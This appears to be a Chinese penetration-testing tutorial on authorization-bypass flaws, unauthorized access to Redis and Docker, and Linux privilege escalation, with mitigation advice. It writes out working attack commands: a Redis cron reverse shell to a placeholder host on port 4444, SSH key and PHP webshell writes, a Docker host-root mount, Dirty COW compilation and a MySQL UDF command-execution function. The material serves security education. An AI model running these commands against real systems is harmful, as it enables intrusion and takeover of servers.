越权、提权与未授权访问
本文最后更新于:几秒前
越权
漏洞描述:
应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不充分,就易致越权漏洞。
越权的分类
水平越权
指攻击者访问与他拥有相同权限的用户资源。例如:A、B 具有相同的用户角色,拥有相同的权限等级。通常来讲A、B只能访问各自所拥有的资源,但是,如果系统只验证了用户的权限,没有对数据进行权限的细分,则会导致A能访问到B的数据、B能访问到A的数据,这种行为就称为水平越权访问。如下图所示:
垂直越权
垂直越权指开发者只在前端做了权限控制,后端程序没有做权限控制,恶意用户只需要猜测其他管理界面的URL或者参数信息即可访问或控制其他角色拥有的数据。如下图所示:
产生的原因
隐藏的URL
实现控制访问有些程序的管理员的管理页面只有管理员才显示,普通用户看不到,利用 URL 实现访问控制,但 URL 泄露或被恶意攻击者猜到后,这会导致越权攻击。
直接对象引用
这种通过修改一下参数就可以产生水平越权,例如查看用户信息页面 URL 后加上自己的 id 便可查看,当修改为他人的 ID 号时会返回他人的信息,便产生了水平越权。
多阶段功能
一个功能有多个阶段实现,但是只在第一阶段验证了用户身份,后边几步不对用户身份进行验证,这导致攻击者可以通过抓包直接修改参数值,进行越权访问。
静态文件
很多网站的下载功能,一些被下载的静态文件,例如 pdf、word、xls 等,可能只有付费用户或会员可下载,但当这些文件的 URL 地址泄露后,导致任何人可下载,如果知道 URL 命名规则,则会便利服务器的收费文档进行批量下载。
防护措施
- 对用户输入的数据进行校验。
- 关键操作必须验证用户身份。
- 对直接引用对象的资源ID进行加密。
- 对参数进行严格的检查与过滤。
未授权访问
漏洞描述:
未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。
常见的未授权访问漏洞:
目前主要存在未授权访问漏洞的有: NFS,Samba,Rsync,FTP,MongoDB,Redis,ElasticSearch,Memcache,Docker等
Redis 未授权访问:
漏洞描述:
Redis 因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行 flushall 来清空所有数据。如果 Redis 以 root 身份运行,可以给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录受害服务器。
漏洞利用:
利用计划任务执行命令反弹shell
前提: Redis 以Root权限执行
1
2
3
4
5redis-cli -h [your host]
set x "\n* * * * * bash -i >& /dev/tcp/[your host]/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save写入SSH-Keygen
前提:Redis 以Root权限运行
1
2
3
4
5redis-cli -h [your host]
set x [your keygen]
config set dir /home/[username]/.ssh/
config set dbfilename "authorized_keys"
save获取web服务的webshell
前提:知晓对方web服务根目录,可以通过config get 来获取
1
2
3
4config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save
漏洞加固:
修改redis.conf
bind 127.0.0.1
限定本地监听requirepass [password]
设置登录密码- 使用防火墙限制访问IP。
Docker 未授权访问
漏洞描述:
该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker。
Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异,都是通过向运行该应用的服务器写文件,从而拿到服务器的权限。
漏洞利用:
写入SSH-Keygen:
docker -H tcp://[目标IP]:2375 run –rm –privileged -it -v /:/mnt busybox chroot /mnt sh
参数解释:
-privikeged
使用该参数时,container内的root拥有真正的root权限。可以查看Host的设备,以及Mount分区。
-v
挂载目录。 系统目录:容器目录
之后编辑authorized_keys 文件,即可实现远程登录。
提权
漏洞描述:
在渗透测试过程中,提升权限是非常关键的一步,攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点,来达到提升权限的目的。
常用提权方式:
内核漏洞提权 :
1 |
|
下载相应exp,编译后上传到目标主机执行即可。这里以脏牛漏洞为例。
影响范围:
CnetOS6 和 RHEL6 全部版本都有这个漏洞,CentOS7.1 和 7.2 有这个漏洞,从 CentOS7.3 开始,该漏洞被修 复了;SUSE 11版全部有这个漏洞。
下载C++ 源码,并进行编译。
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp - lutil
将生成的可执行文件上传到目标主机,执行即可。
另一种方式: 使用Linux提权辅助工具
1 |
|
上传到目标主机,执行脚本会自动根据发行版本查找可利用的POC,编译执行即可。
利用SUID提权:
SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。
漏洞利用:
- 在Linux中查找可以用来提权的SUID文件
find / -perm -u=s -type f 2>/dev/null
- Kali searchexploit工具查找响应的利用脚本即可。
1 |
|
数据库提权:
漏洞说明:
所谓利用数据库进行提权,利用的其实是数据库的运行权限。
Mysql:通常使用MOF,UDF,启动项提权。
MSSQL: 通常使用 xp_cmdshell 提权,SP_OACreate提权,xp_regwrite 注册表存储过程提权。
这里以Mysql on Linux 为例:
漏洞利用:
前提: Mysql 以Root权限运行,同时我们具有执行SQL语句的权限。
获取主机的普通用户权限后,查找一下网站的配置文件,找到连接数据库的用户名密码。
登录Mysql数据库,确定Plugin的路径:
show variables like ‘%plugin%’;
在sqlmap中查找相对应体系结构的UDF文件。将其16进制编码后,通过
select unhex('[Payload]') into dumpfile '[path]/filename.so'
写入到Plugins目录。执行创建函数命令:
create function sys_eval returns string soname '[filename.so]';
即可。通过
select sys_eval('[command]');
即可完成提权。